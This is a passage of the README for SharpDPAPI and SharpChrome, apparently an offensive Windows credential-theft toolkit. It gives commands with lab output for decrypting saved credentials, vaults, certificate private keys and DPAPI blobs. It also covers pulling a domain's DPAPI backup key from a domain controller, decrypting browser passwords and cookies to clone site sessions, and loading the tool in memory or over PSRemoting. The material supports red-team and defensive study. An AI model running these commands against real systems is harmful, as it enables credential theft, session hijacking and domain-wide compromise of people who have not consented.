Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

CredFile : C73A55F92FAE222C18A8989FEA28A1FE

guid MasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data

LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!


Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D

...(snip)...

machinevaults
The machinevaults command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults. Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret). C:\Temp>SharpDPAPI.exe machinevaults

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|
v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

VaultID : 4bf4c442-9b8a-41a0-b38 0-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine
The certificates /machine command will use the machine certificate store to look for decryptable machine certificate private keys. /mkfile:X and {GUID}:masterkey are usable with the /target:\[file|folder\] command, otherwise SharpDPAPI will elevate to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys. By default, only private keys linkable to an associated installed certificate are displayed. The /showall command will display ALL decrypted private keys. Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret). C:\Temp>SharpDPAPI.exe certificates /machine

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v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

Provider GUID : {df9d8cd0-1501-11d1 -8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)

[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737b a66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage
The machinetriage command runs the user machinecredentials (https://github.com/GhostPack/SharpDPAPI#machinecredentials), machinevaults (https://github.com/GhostPack/SharpDPAPI#machinevaults), and certificates /machine (https://github.com/GhostPack/SharpDPAPI#certificates--machine) commands.
Misc

ps
The ps command will describe/decrypt an exported PSCredential clixml. A /target:FILE.xml must be supplied. The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. The /unprotect flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here (https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). Decrypt an exported credential .xml using CryptProtectData() (the /unprotect flag): PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

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v1.5.0


[*] Action: Describe PSCredential .xml

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using domain {GUID}:SHA1 masterkey mappings: PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

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__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TES TLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

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|
v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!

blob
The blob command will describe/decrypt a DPAPI blob. A /target: must be supplied. The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. The /unprotect flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here (https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem). Decrypt a blob using CryptProtectData() (the /unprotect flag): C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect __ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
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|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
Using domain {GUID}:SHA1 masterkey mappings: C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

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v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0

description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys: C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

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|
v1.5.0


[*] Action: Describe DPAPI blob

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey
The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz (https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller. The /nowrap flag will prevent wrapping the base64 key on display. This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands. By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk. Retrieve the DPAPI backup key for the current domain controller: C:\Temp>SharpDPAPI.exe backupkey

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__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using current domain controller : PRIMARY.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file: C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

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|
v1.2.0


[*] Action: Retrieve domain DPAPI backup key


[*] Using server : primary.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to : key.pvk

search
The search comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors]
SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:]
SharpDPAPI.exe search /type:base64 [/base:]
The search command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure: 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

SharpChrome Commands

logins
The logins command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged. Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. A specific Login Data file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified. By default, logins are displayed in a csv format. This can be modified with /format:table for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with /showall. If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.
cookies
The cookies command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If /browser:edge is specified, the newer Chromium-based Edge browser is triaged. Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. A specific Cookies file can be specified with /target:FILE. A remote /server:SERVER can be specified if a /pvk is also supplied. If triaging newer Chrome/Edge instances, a /statekey:X AES state key can be specified. By default, cookies are displayed in a csv format. This can be modified with /format:table for table output, or /format:json for output importable by EditThisCookie (https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with /showall. If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed. The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.
statekeys
The statekeys command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for cookies and logins. State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys, or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command. If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.
backupkey

The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz (https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller. The /nowrap flag will prevent wrapping the base64 key on display. This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands. By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.
Compile Instructions
We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :) SharpDPAPI has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition (https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build.
Targeting other .NET versions
SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to Project -> SharpDPAPI Properties and change the "Target framework" to another version.
Sidenote: Running SharpDPAPI Through PowerShell
If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly: [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string): $SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows: [SharpDPAPI.Program]::Main("machinemasterkeys")

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that. If you follow the instructions in Sidenote: Running SharpDPAPI Through PowerShell (https://github.com/GhostPack/SharpDPAPI#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script: [SharpDPAPI.Program]::MainString("machinemasterkeys")
You should then be able to run SharpDPAPI over PSRemoting with something like the following: $s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
Alternatively, SharpDPAPI /consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.

Download SharpDPAPI (https://github.com/GhostPack/SharpDPAPI)

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